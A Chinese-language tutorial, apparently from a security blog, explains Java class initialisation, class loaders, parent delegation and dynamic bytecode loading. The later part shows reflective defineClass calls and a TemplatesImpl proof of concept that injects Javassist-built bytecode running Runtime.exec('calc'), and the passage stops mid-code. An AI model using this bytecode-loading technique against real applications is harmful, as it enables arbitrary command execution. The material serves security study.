
    1
    2
    3
    4
    5
    6
    7
    8
    9
    class C {
    static { System.out.println("C 初始化"); }
    static void foo() {}
    }
    public class Test {
    public static void main(String[] args) {
    C.foo(); // 触发初始化
    }
    }
  • 使用反射 :调用 Class.forName("类名") 会触发类的初始化;通过反射调用方法(如 clazz.getMethod(...).invoke(...))也会触发。

    1
    2
    3
    4
    5
    6
    7
    8
    class D {
    static { System.out.println("D 初始化"); }
    }
    public class Test {
    public static void main(String[] args) throws Exception {
    Class.forName("D"); // 触发初始化
    }
    }
  • 初始化子类时,必须先初始化父类,即当初始化一个类时,若它有父类,必须保证父类先完成初始化。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    class Parent {
    static { System.out.println("Parent 初始化"); }
    }
    class Child extends Parent {
    static { System.out.println("Child 初始化"); }
    }
    public class Test {
    public static void main(String[] args) {
    new Child(); // 输出:Parent 初始化 → Child 初始化
    }
    }
  • JVM 启动时指定的主类 :例如执行 java MainClass 时,MainClass 一定会被初始化,因为 JVM 要调用 main 方法。

    1
    2
    3
    4
    5
    6
    class MainClass {
    static { System.out.println("MainClass 初始化"); }
    public static void main(String[] args) {}
    }
    // java MainClass → 输出 "MainClass 初始化"

类加载方式

在 Java 中,类加载可以分为两种主要方式:显式类加载(Explicit Class Loading)隐式类加载(Implicit Class Loading)

显式类加载(Explicit Class Loading)

显式类加载是指开发者显式地调用某些 API 或者显式指明要加载某个类,通常通过 Class.forName(...)ClassLoader.loadClass(...) 等方法来完成。这种方式通常用于在运行时动态加载类。

通过反射机制加载

在 Java 中,Class.forName 是最常见的显式加载类的方式,它有两个重载:

1
2
3
public static Class<?> forName(String className) throws ClassNotFoundException;
public static Class<?> forName(String className, boolean initialize, ClassLoader loader)
throws ClassNotFoundException;

注意这里 className 必须是类的全限定名(Fully Qualified Name),否则会抛 ClassNotFoundException

在 Java 中,全限定名就是类在 JVM 里的唯一身份标识,它由 完整的包名 + 类名 组成,例如 "java.util.ArrayList"。内部类要用 $ 表示,例如 "java.util.Map$Entry"

其中第二种重载多了 initializeloader 参数:

  • initialize
    • true 时,类在加载时会立即触发初始化(执行 <clinit>:静态变量赋值 + 静态代码块)。
    • false 时,仅仅加载类,但不会初始化。
  • loader
    • 指定加载该类的类加载器。
    • 如果传入 null,表示使用 引导类加载器(Bootstrap ClassLoader) 来加载。
    • 如果传入自定义的类加载器,则由该加载器负责加载。

第一个重载 Class.forName(String className) 等价于使用 调用者的类加载器,并且 initialize=true

1
2
3
Class.forName("Foo");
// 等价于
Class.forName("com.example.Foo", true, this.getClass().getClassLoader());

提示

JVM 会用「谁调用,就用谁的加载器」的原则,来决定默认的类加载器。

  • 调用者类 = 调用 Class.forName 这一行代码所在的类。
  • 调用者的类加载器 = 把这个调用者类本身加载进 JVM 的类加载器

如果想显式用 系统类加载器,应该这样写:

1
Class.forName("Foo", true, ClassLoader.getSystemClassLoader());

如果想用 Bootstrap 类加载器(加载核心类库),则传 null

1
Class.forName("java.lang.String", true, null);

通过类加载器加载

在 Java 中,可以通过 ClassLoaderloadClass 方法来显式加载类:

1
public Class<?> loadClass(String name) throws ClassNotFoundException;

ClassLoader 是 Java 的一个 抽象类java.lang.ClassLoader),所有类加载器都继承自它。

不同于 Class.forName(String className)ClassLoader.loadClass(String name) 默认只加载类,不会触发初始化。初始化仍然要等到类的主动使用(访问静态字段 / 调用静态方法 / new 实例 / 反射调用等)。

1
2
3
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class<?> clazz = classLoader.loadClass("com.example.Hello"); // 只加载,不初始化
clazz.getDeclaredMethod("sayHello").invoke(clazz.newInstance()); // 实例化时才触发初始化

loadClass(String name) 实际调用的是另一个重载:

1
2
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
  • **name**:类的全限定名(如 "com.example.Hello"
  • **resolve**:是否解析类(是否调用 resolveClass

默认的 loadClass(String name) 等价于:

1
return loadClass(name, false); // 默认不解析

因此默认的 loadClass(String name)

  • 只加载(Load):读取字节码,生成 Class<?> 对象。
  • 不解析(Resolve=false):不会立即把符号引用替换成直接引用。
  • 不初始化:不会执行 <clinit>(静态变量赋值 + 静态代码块)。

提示

Class.forNameinitialize=false 且使用的类加载器与你 loadClass 指定的类加载器一致时,两者等价:

1
2
3
4
5
6
// 方式 1:不初始化
Class<?> c1 = Class.forName("com.example.Foo", false, ClassLoader.getSystemClassLoader());

// 方式 2:只加载
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class<?> c2 = cl.loadClass("com.example.Foo");

隐式类加载(Implicit Class Loading)

隐式类加载是指在 Java 程序中,类的加载是由 JVM 自动触发的,不需要显式调用类加载方法。隐式加载通常发生在类的首次使用时,例如实例化对象访问类的静态字段调用静态方法等。

通过实例化对象加载

当我们通过 new 关键字创建一个类的实例时,JVM 会自动加载该类。如果该类尚未被加载,JVM 会根据类加载器的机制来加载并初始化该类。

其中 类的静态块static {})会在类加载时被执行,构造函数则在实例化时被调用。

1
2
3
// 隐式加载类并创建实例
Hello hello = new Hello();
hello.sayHello();

类的首次“主动使用”

JVM 规范规定:类的首次“主动使用”会触发初始化。而触发初始化时,如果该类尚未加载,就会顺带把“加载”“链接”也做了。

前面总结的触发类初始化的情境有:

  • 访问类的静态变量(不是 final 常量)
  • 调用类的静态方法
  • 初始化子类前,先初始化父类
  • JVM 启动时指定的主类

在这种情境下 JVM 会自动加载该类,类的静态代码块被执行。但是由于类没有被实例化,因此构造函数不会被调用

类加载器

类加载器ClassLoader)是 JVM 中负责 加载类字节码 的组件。它的作用是:

  • 在运行时把外部 .class 文件(或字节码流)加载到内存
  • 转化为 Class 对象,供程序使用;
  • 实现 Java 的 动态类加载机制(类按需加载,而不是一次性全部加载)。

简单说:类加载器决定了“某个类由谁负责加载”,同时也影响了类在 JVM 中的唯一性。

类加载器的核心特性有:

  • 延迟加载(Lazy Loading) :类只有在“首次主动使用”时才会被加载。
  • 双亲委派模型(Parent Delegation Model) :加载类时,先委托父加载器 → 父加载器找不到,自己再尝试加载。
  • 类的唯一性
    • JVM 判断两个类是否相同:不仅类名一致,还要 由同一个类加载器加载
    • 不同的类加载器即使加载了同名类,也会被认为是不同的类。

类加载器的类型

Java 中的类加载器有几种不同的类型,每种类型都有不同的作用和责任。下面是 Java 中常见的几种类加载器:

引导类加载器(Bootstrap ClassLoader)

  • 功能 :引导类加载器是 JVM 启动时创建的,负责加载 Java 标准库中的核心类,如 java.lang.*java.util.* 等。
  • 实现 :引导类加载器由 C++ 编写,通常由 JVM 内部实现,无法在 Java 代码中直接访问,但它是所有其他类加载器的父加载器。
  • 加载的路径 :引导类加载器的加载路径通常于 $JAVA_HOME/jre/libjre/lib/rt.jar 中的类。

提示

Java 虚拟机(JVM)的层面,可以将这些类加载器大致分为两大类:

  • 一种是启动类加载器(Bootstrap ClassLoader)。这个类加载器由 C++ 实现,是 JVM 虚拟机自身的一部分,因此没有继承自 java.lang.ClassLoader,不能直接在 Java 代码中访问
  • 另一种就是所有其他的类加载器,些类加载器通常用 Java 语言实现,它们都继承自 java.lang.ClassLoader

扩展类加载器(Extension ClassLoader)

  • 功能 :扩展类加载器负责加载 Java 扩展库中的类,通常是指位于 jre/lib/ext 目录下的由 JDK 提供的一些功能扩展类,例如 XML 解析(javax.xml.*)类
  • 实现 :扩展类加载器是由 sun.misc.Launcher$ExtClassLoader 实现的。
  • 加载的路径 :扩展类加载器的加载路径通常是 jre/lib/ext 目录下的类。

系统类加载器(System ClassLoader)

  • 功能 :系统类加载器负责加载应用程序的类,通常是指项目中的 .class 文件或 JAR 包。
  • 实现 :系统类加载器是由 sun.misc.Launcher$AppClassLoader 实现的。它是最常用的类加载器,通常由用户代码通过 ClassLoader.getSystemClassLoader() 获取。
  • 加载的路径 :系统类加载器的类路加载径通常由环境变量 CLASSPATH 或命令行的 -cp 参数指定。系统类加载器加载的是程序类(即用户自定义类和第三方类库)。

提示

在有的资料中系统类加载器(System ClassLoader)也被称为应用类加载器(Application ClassLoader)

自定义类加载器(Custom ClassLoader)

在 Java 中,类加载器负责将 .class 文件加载到 JVM 中,生成类的 Class 对象。默认的类加载器(如系统类加载器、扩展类加载器等)已经能够满足大部分的类加载需求,但是在某些场景下,我们需要根据特定的规则来加载类,这时就需要使用 自定义类加载器(Custom ClassLoader)。

自定义类加载器需要继承 java.lang.ClassLoader 并重写其方法,尤其是 findClass 方法,该方法是加载类的核心方法。例如下面是一个自定义类加载器的示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class MyClassLoader extends ClassLoader {

private String classPath;

public MyClassLoader(String classPath) {
this.classPath = classPath;
}

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
// 计算类文件路径
String path = classPath + File.separator + name.replace('.', File.separatorChar) + ".class";
File classFile = new File(path);
if (!classFile.exists()) {
throw new ClassNotFoundException("Class " + name + " not found");
}

try (FileInputStream inputStream = new FileInputStream(classFile)) {
byte[] classBytes = new byte[(int) classFile.length()];
inputStream.read(classBytes);
// 使用 defineClass 方法将字节码转换为 Class 对象
return defineClass(name, classBytes, 0, classBytes.length);
} catch (IOException e) {
throw new ClassNotFoundException("Error reading class file", e);
}
}

public static void main(String[] args) throws Exception {
MyClassLoader myClassLoader = new MyClassLoader("path/to/classes");

// 加载自定义类
Class<?> clazz = myClassLoader.loadClass("com.example.MyClass");
Object obj = clazz.newInstance();
System.out.println("Class loaded: " + clazz);
System.out.println("Object: " + obj);
}
}

类加载器的获取

在 Java 中可以使用不同的方式来获取类加载器。以下是几种常见的获取类加载器的方法:

获取当前类的类加载器

要获取当前类(即包含当前代码的类)的类加载器,可以使用 Class 类的 getClassLoader() 方法。这个方法返回一个 ClassLoader 实例,表示当前类的类加载器。

1
ClassLoader classLoader = MyClass.class.getClassLoader();

注意

在 Java 中我们不能直接获取引导类加载器的引用,因为它是由 JVM 本身实现的,且不是 ClassLoader 类的子类。

例如如果我们使用 Class.getClassLoader() 方法来获取 String 类的类加载器,它会返回 null,因为 String 类是由引导类加载器加载的。

1
2
ClassLoader bootstrapClassLoader = String.class.getClassLoader();
System.out.println(bootstrapClassLoader); // 输出 null,因为 String 是由引导类加载器加载的

获取当前线程的上下文类加载器

每个 线程 都可以绑定一个 ClassLoader,叫做 上下文类加载器(Context ClassLoader)。这个类加载器可以通过 Thread.currentThread().getContextClassLoader() 拿到,默认情况下,这个就是 AppClassLoader(应用类加载器)。

1
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

上下文类加载器的出现是因为 双亲委派模型有个问题:

  • 子加载器要委托父加载器先加载类;
  • 但有时候,父加载器(比如 Bootstrap)并不知道子加载器路径下的类。

线程上下文类加载器是一个“打破双亲委派”的机制,让父加载器的代码能反过来加载子加载器的类

例如在 Java 8 及更早,JDBC API(java.sql.*)存放在 核心库 rt.jar 中,由 Bootstrap ClassLoader 加载;在 **Java 9+**,它被放进了 java.sql 模块,但依然是由 Bootstrap ClassLoader 加载。

而具体的 JDBC 驱动类(例如 com.mysql.cj.jdbc.Driver)则通常作为第三方 Jar 包提供,放在应用的 classpath 中,由 AppClassLoader 加载。

这就带来了一个问题:

  • Bootstrap ClassLoader 无法直接看到由 AppClassLoader 管理的类。
  • 如果 JDBC API(例如 DriverManager)直接用自己的加载器(Bootstrap)去加载驱动类,一定失败。

为了解决这个“父加载器看不到子加载器类”的矛盾,JDBC API 采用了 线程上下文类加载器(Thread Context ClassLoader, TCCL) 的机制:

DriverManager 在加载驱动时,不用 Bootstrap 自己,而是调用 Thread.currentThread().getContextClassLoader()

这样就能让 Bootstrap 级别的 API 间接使用 AppClassLoader 来加载驱动类。

获取系统类加载器

系统类加载器AppClassLoader)是 JVM 启动时默认用于加载 应用类路径(classpath) 下的类的加载器。绝大多数我们自己写的业务代码、以及放在 classpath 中的第三方依赖 jar,都是通过系统类加载器加载的。

系统类加载器可以通过 ClassLoader.getSystemClassLoader() 方法获取:

1
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();

类加载器常见方法

loadClass(加载指定的 Java 类)

loadClass(String name)ClassLoader 类中一个常用的公共方法,用于加载类。它通过类的 二进制名称(即类的完全限定名,像 java.lang.String)来加载类。

1
2
3
public Class<?> loadClass(String name) throws ClassNotFoundException {
return loadClass(name, false);
}

该方法首先会委托父类加载器(即父加载器)去加载类,如果父类加载器没有加载到类,它才会使用当前类加载器来加载。

findClass(查找指定的 Java 类)

findClass 是一个 抽象方法,通常需要在自定义类加载器中重写。findClass 会被 loadClass 方法调用,用于实际查找和加载类。类加载器不知道如何加载这个类则会抛出 ClassNotFoundException 异常。

1
protected Class<?> findClass(String name) throws ClassNotFoundException;

findLoadedClass(查找 JVM 已经加载过的类)

findLoadedClass 方法用于查找当前类加载器是否已经加载了指定的类。如果类已经加载并被缓存,则返回该类的 Class 对象。它是在 loadClass 方法内部调用的,用来避免重复加载已经加载过的类。如果类已经被加载并且缓存,则返回该类的 Class 对象;否则返回 null

1
protected final Class<?> findLoadedClass(String name);

resolveClass(链接指定的 Java 类)

resolveClass 方法用于解析一个类。类加载器通过此方法将类链接到 JVM 中,并确保该类已经准备好执行。这个方法通常在类被 defineClass 后调用,用于确保类已经完全初始化,并准备好进一步的操作(如方法调用等)。

1
protected final void resolveClass(Class<?> c);

双亲委派模型(Parent Delegation Model)

双亲委派模型(Parent Delegation Model)是 Java 类加载器机制中的一种设计模式。通过这种模型,类加载器在加载类时,会先将请求委托给父类加载器处理,如果父类加载器无法加载这个类,才由当前类加载器尝试加载

这种机制保证了Java核心类库(如 java.lang.*java.util.* 等)始终由引导类加载器(Bootstrap ClassLoader)加载,从而避免了类的重复加载和冲突,确保了 Java 核心类库的安全性。

类加载器层次结构

在 Java 中,类加载器采用双亲委派模型来加载类。这个模型的层次结构是通过父子关系来表示的,不同层次的类加载器通过 getParent() 方法来连接。

提示

在 Java 里谈类加载器的“层次结构”时,往往有两个不同的含义:

  • 类的继承结构 :这是 Java 类型系统上的关系,编译时就确定了。这是 “类继承树”,描述的是类的实现复用关系。例如:
    • AppClassLoader extends URLClassLoader extends ClassLoader
    • ExtClassLoader(JDK 8)或 PlatformClassLoader(JDK 9+)也都直接 extends ClassLoader
    • 所有类加载器最终都继承自 java.lang.ClassLoader
  • 父子委派关系 :这是 对象运行时的组合关系,由 ClassLoaderparent 字段维护。这是 “对象委派链”,决定了类加载请求的传递路径。例如:
    • AppClassLoaderparent = ExtClassLoader(JDK 8) / PlatformClassLoader(JDK 9+)
    • ExtClassLoader / PlatformClassLoaderparent = Bootstrap(C++ 实现,不暴露,返回 null
    • 自定义类加载器如果没指定 parent,默认 parent = 系统类加载器(AppClassLoader

而这里我们提到的类的层次结构指的是类加载过程中类的查找相关的层次结构,也就是类的父子委派关系,即 ClassLoaderparent 字段。

我们可以通过如下代码验证类加载器的层次结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.example;

class MyClassLoader extends ClassLoader {
public MyClassLoader() {
super(); // 默认父加载器是系统类加载器
}

public MyClassLoader(ClassLoader parent) {
super(parent); // 你也可以显式指定父加载器
}

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
// 自定义的类加载逻辑
return super.findClass(name);
}
}

public class Main {
public static void main(String[] args)throws Exception {
MyClassLoader myClassLoader = new MyClassLoader();
System.out.println("自定义类加载器: " + myClassLoader);
ClassLoader systemClassLoader = myClassLoader.getParent();
System.out.println("系统类加载器: " + systemClassLoader);
ClassLoader extClassLoader = systemClassLoader.getParent();
System.out.println("扩展类加载器: " + extClassLoader);
ClassLoader bootstrapClassLoader = extClassLoader.getParent();
System.out.println("启动类加载器: " + bootstrapClassLoader);
}
}

这段代码运行结果如下:

1
2
3
4
自定义类加载器: com.example.MyClassLoader@330bedb4
系统类加载器: sun.misc.Launcher$AppClassLoader@58644d46
扩展类加载器: sun.misc.Launcher$ExtClassLoader@2503dbd3
启动类加载器: null

提示

自定义类加载器默认的父级是 系统类加载器。当你创建一个自定义类加载器时,它会继承 AppClassLoader 类,而 ClassLoader 的构造方法会自动指定父加载器。具体来说:

  • 如果你没有显式指定父加载器,ClassLoader 的构造函数会将 系统类加载器ClassLoader.getSystemClassLoader())作为默认的父加载器。
  • 你也可以通过重载构造函数,手动设置父加载器为其他加载器(如启动类加载器或扩展类加载器),但通常情况下,它的父加载器默认是 系统类加载器

因此类加载器的层次结构如下:

ParentDelegationModel

双亲委派模型具体实现

在 Java 中,每个类加载器都有一个父类加载器,类加载器在加载类时,遵循以下步骤:

  1. 检查当前类是否已经加载:如果已经加载,则直接返回。
  2. 委托父类加载器加载:将加载请求委托给父类加载器,依次递归,直到最顶层的 Bootstrap ClassLoader。
  3. 父类加载器无法加载:如果父类加载器无法加载该类,则当前类加载器尝试自己加载。

在 Java 中,类加载器之间的双亲委派模型可以通过 ClassLoader 类的 loadClass 方法来实现。以下是 ClassLoader 类中 loadClass 方法的简化实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
// 检查类是否已经加载
Class<?> c = findLoadedClass(name);
if (c == null) {
try {
if (parent != null) {
// 委托父类加载器加载
c = parent.loadClass(name, false);
} else {
// 使用引导类加载器加载
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// 父类加载器无法加载时,当前类加载器尝试加载
c = findClass(name);
}
}
if (resolve) {
// 类加载完成,对加载的类进行链接和初始化
resolveClass(c);
}
return c;
}

类加载器与类的隔离性

类加载器与类的隔离性是 Java 设计中的重要特性之一,它使得不同的类加载器能够加载同名的类,而这些类相互独立、互不干扰,从而避免了不同模块或应用之间的类冲突。类加载器与类的隔离性对于实现模块化、插件化以及动态类加载系统非常关键。

类命名空间

类命名空间(Class Namespace)是指类加载器在加载类时为其所分配的一个独立的命名空间。在 Java 中,每个类加载器都有自己的命名空间,用来隔离自己加载的类与其他类加载器加载的类。这种隔离机制保证了即使不同类加载器加载了相同名称的类,它们也可以作为独立的类存在,而互不干扰

提示

不同的类加载器在加载类时依赖于自己的命名空间来确定类是否已经被加载以及加载后的处理。这就是为什么 loadClass 在双亲委派模型中每一级类加载器都要调用 findLoadedClass 来判断类是否已经被加载过了。

类加载的隔离性

Java 中的类是通过类加载器加载的。当一个类被类加载器加载时,它会被分配一个 Class 对象,该对象代表了这个类在 JVM 中的唯一身份。对于同一个类,如果通过不同的类加载器加载,它们的 Class 对象是不同的。

1
2
3
4
5
6
7
ClassLoader loader1 = new MyClassLoader();
ClassLoader loader2 = new MyClassLoader();

Class<?> class1 = loader1.loadClass("com.example.MyClass");
Class<?> class2 = loader2.loadClass("com.example.MyClass");

System.out.println(class1 == class2); // 输出 false

这是因为每个类加载器在加载类时,都会在自己的命名空间中维护已加载的类。类加载器的命名空间是独立的,意味着相同的类,如果由不同的类加载器加载,它们将被认为是不同的类,即使它们的字节码完全相同。

动态加载字节码

defineClass

不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是 loadClassfindClassdefineClass 这三个方法调用。其中 defineClass 的作用是将获取到的字节码处理成真正的 Java 类,是类加载中真正核心的部分。

注意

需要注意:类的链接(verification、preparation、resolution)不在 defineClass 内完成,而是在 resolveClass 中进行。

defineClass 将字节数组转换为一个 Class 对象。这个方法是 ClassLoader 的核心,用于将字节码定义为类。

1
protected final Class<?> defineClass(String name, byte[] b, int off, int len) throws ClassFormatError;
  • String name:要定义的类的全限定名称(例如 com.example.MyClass),它是该类在 JVM 中的名字。

    注意

    name 参数必须与字节码中的类名匹配**或者设置为 null**,否则会有如下报错:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    Exception in thread "main" java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:483)
    at com.example.Main.main(Main.java:12)
    Caused by: java.lang.NoClassDefFoundError: YourNameArgumentInput (wrong name: com/example/MyClass)
    at java.lang.ClassLoader.defineClass1(Native Method)
    at java.lang.ClassLoader.defineClass(ClassLoader.java:760)
    at java.lang.ClassLoader.defineClass(ClassLoader.java:642)
    ... 5 more

    另外 defineClass 还有一个默认 namenull 的封装:

    1
    2
    3
    4
    5
    6
    @Deprecated
    protected final Class<?> defineClass(byte[] b, int off, int len)
    throws ClassFormatError
    {
    return defineClass(null, b, off, len, null);
    }
  • byte[] b :包含类的字节码的字节数组。这个字节数组包含了通过编译器或其他方式生成的 Java 字节码,通常是 .class 文件的内容。

  • int off :字节数组 b 中,字节码数据的起始偏移量。表示从数组 b 的哪个位置开始读取数据。一般情况下,如果整个数组都包含字节码数据,这个值为 0

  • int len :要从字节数组 b 中读取的字节码数据的长度。表示从偏移量 off 开始,读取多长的数据来定义类。

Java 默认的 ClassLoader#defineClass 是一个 native 方法,逻辑在 JVM 的 C 代码中。我们可以通过反射调用这个方法把字节码转换为类:

1
2
3
4
5
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] classByteCode = getEvilClass("calc");
Class<?> clazz = (Class<?>) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), classByteCode, 0, classByteCode.length);
clazz.newInstance();

在实际场景中,因为 defineClass 方法作用域是不开放的,所以攻击者很少能直接利用到它,但很多攻击链最终都是通过这个方法加载字节码。

URLClassLoader

URLClassLoader 是 JDK 提供的通用类加载器实现,能把一组 URL(目录 / JAR / 远程地址)当作类与资源的搜索路径

AppClassLoaderURLClassLoader 的子类(继承意义的“子类”)。也就是说,AppClassLoader 本身就是 URLClassLoader 的一个具体实现。AppClassLoader 默认加载 java.class.path 里的内容,本质上就是把 classpath 转换成一组 URL,然后调用 URLClassLoader 的逻辑。

所以平时我们用 java -cp ... 指定的类路径,都是通过 URLClassLoader 机制来处理的。

URLClassLoader 实际上是通过内部的 URLClassPath 组件,为每个 URL 创建不同的资源加载器(实现类为 Loader 抽象类的不同子类)。其中核心逻辑为 sun.misc.URLClassPath.getLoader(URL url)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/*
* 根据给定的 URL,返回一个对应的 Loader 实例
* Loader 是 URLClassPath 的内部抽象类,负责从某种资源(目录/JAR/远程)中加载 class/资源字节
*/
private Loader getLoader(final URL url) throws IOException {
try {
// 在特权上下文中执行,避免 SecurityManager 权限不足的问题
return java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<Loader>() {
public Loader run() throws IOException {
// 取出 URL 的路径部分
String file = url.getFile();

// 情况一:URL 以 "/" 结尾,说明是目录风格
if (file != null && file.endsWith("/")) {
// 子情况 1.1:本地目录(file 协议)
if ("file".equals(url.getProtocol())) {
// 用 FileLoader 来处理,从本地文件系统查找 .class
return new FileLoader(url);
} else {
// 子情况 1.2:远程目录(http/ftp 等)
// 用通用 Loader(基于 URLConnection),通过网络请求 .class 文件
return new Loader(url);
}
} else {
// 情况二:URL 不是目录(没有 "/" 结尾)
// 默认当成 JAR 文件(不论是本地 jar 还是远程 jar)
return new JarLoader(url, jarHandler, lmap, acc);
// 参数说明:
// - jarHandler:处理 jar: 协议的 URLStreamHandler
// - lmap:Loader 缓存映射,避免重复创建
// - acc:AccessControlContext,保存的安全上下文
}
}
}, acc); // 使用传入的安全上下文 acc 来执行 PrivilegedAction
} catch (java.security.PrivilegedActionException pae) {
// 如果 PrivilegedAction 抛出异常,这里解包并抛出原始 IOException
throw (IOException)pae.getException();
}
}

核心就是:先判断“目录风格”,再看协议,最后兜底为 JAR 文件

  • 目录风格url.getFile().endsWith("/")
    • file:FileLoader
      直接拼接路径 /path/to/classes/com/example/Foo.class
    • file:(http/ftp 等)→ Loader
      URLConnection 拼出 http://host/classes/com/example/Foo.class,直接下载字节
  • 文件风格(没有 / 结尾 → 当成 JAR)
    • JarLoader
      无论是 file:/lib/foo.jar 还是 http://host/foo.jar,都交给 JarLoader
      内部会通过 JarFile(本地)或 JarURLConnection(远程)读取 class entry。

使用 Loader 寻找类是非 file 协议的情况下,最常见的就是 http 协议,此时会用到 URLClassLoader

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.net.URL;
import java.net.URLClassLoader;

public class RemoteJarDemo {
public static void main(String[] args) throws Exception {
URL jar = new URL("http://example.com/path/to/your/jarfile.jar");
try (URLClassLoader loader = new URLClassLoader(new URL[]{ jar })) {
Class<?> cls = loader.loadClass("com.example.MyClass"); // 完全限定名
Object instance = cls.getDeclaredConstructor().newInstance();
cls.getMethod("someMethod").invoke(instance);
}
}
}

如果是远程加载 .class 文件,路径为 http://example.com/path/to/your/classes/,然后 loadClass 传入的是 .class 文件的文件名(没有后缀)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.net.URL;
import java.net.URLClassLoader;

public class RemoteDirDemo {
public static void main(String[] args) throws Exception {
URL dir = new URL("http://example.com/path/to/your/classes/"); // 结尾必须是 /
try (URLClassLoader loader = new URLClassLoader(new URL[]{ dir })) {
// 会发起:GET http://example.com/path/to/your/classes/com/example/MyClass.class
Class<?> cls = loader.loadClass("com.example.MyClass"); // 完全限定名
Object instance = cls.getDeclaredConstructor().newInstance();
cls.getMethod("someMethod").invoke(instance);
}
}
}

TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 是 JDK 内置 Xalan XSLT 引擎中的一个类,实现了 javax.xml.transform.Templates 接口。
它的设计目的是:封装一个已编译好的 XSLT 样式表,并能基于内部保存的字节码反复创建 Transformer 实例,从而对 XML 文档执行转换。

在安全研究中,这个类之所以重要,是因为它内部维护了可直接加载和实例化的字节码数组。攻击者如果能够控制这些字段,就能在调用转换逻辑时触发任意字节码的加载与执行。TemplatesImpl 类内部有几个关键的字段和方法:

  • private String _name :样式表的名称。
  • private byte[][] _bytecodes :存储了经过编译的字节码的数组,这些字节码会在运行时被加载并执行。
  • private transient TransformerFactoryImpl _tfactoryTransformerFactory 的引用,用于生成 Transformer 对象。
  • private transient Class[] _class :用于缓存 _bytecodes 被真正加载为 Class 对象之后的结果。

这些字段中的 _bytecodes_class 是特别重要的,因为它们直接涉及到字节码的加载和类的定义。

TemplatesImpl 定义了一个内部静态类 TransletClassLoader(继承自 ClassLoader),专门用来加载 XSLT 编译生成的 Java 类(translet)。这些类是在 XSLT 编译阶段动态产出的,用于执行特定的转换逻辑。

由于 ClassLoader#defineClass(String, byte[], int, int)protected 方法,而 TemplatesImpl 本身既不在 java.lang 包里、也不是 ClassLoader 的子类,不能直接调用该受保护方法。

为此,TemplatesImpl 在它的内部定义了一个子类 TransletClassLoader,并在这个子类里额外提供了一个新的便捷方法 defineClass(byte[]):该方法签名与父类受保护方法不同,不是重写(override),而是新增的同名便捷包装(wrapper),内部再去调用父类的受保护 defineClass(...) 完成实际的类定义。

Java 中默情况下,如果一个方法没有显式声明作用域,其作用域为 包私有(default)。这意味着该方法只能在同一包内被访问,其他包的类无法访问该方法。

1
2
3
4
5
6
7
8
9
10
11
static final class TransletClassLoader extends ClassLoader {
TransletClassLoader(ClassLoader parent) {
super(parent);
}

// 便捷包装:并非覆盖父类方法(签名不同),可见性为“包内可见”
Class defineClass(final byte[] b) {
// 最终仍调用的是父类受保护的 defineClass(String, byte[], int, int)
return defineClass(null, b, 0, b.length);
}
}

注意

TransletClassLoader#defineClass(byte[]) 只是为 同包内TemplatesImpl 提供了一个调用父类受保护 defineClass(...) 的“跳板”。它既没有改变父类方法的可见性,也没有把能力公开为 public。因此:

  • 不是把父类的 protected 方法“降级”为 default
    这里的 defineClass(byte[])新增的方法(签名不同),并没有改变父类受保护方法的可见性。父类的 defineClass(String, byte[], int, int) 依然是 protected
  • 包内可见 ≠ 任意类可见
    这个便捷方法没有显式修饰符,因此是包内可见(package‑private)。这意味着只有同一包com.sun.org.apache.xalan.internal.xsltc.trax)内的代码可以调用它;TemplatesImpl 与该内部类处于同一包,可以调用;其他包的代码则不能直接调用。

例如下面这段代码,我们通过调用 TemplatesImplgetOutputProperties 方法成功加载了设置在 _bytecodes 字段中的字节码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.lang.reflect.Field;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception {
byte[] classByteCode = getEvilClass("calc");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{classByteCode});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// setFieldValue(templates, "_transletIndex", 0);
// setFieldValue(templates, "_auxClasses", new HashMap<String, Object>());

templates.getOutputProperties();
}

public static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

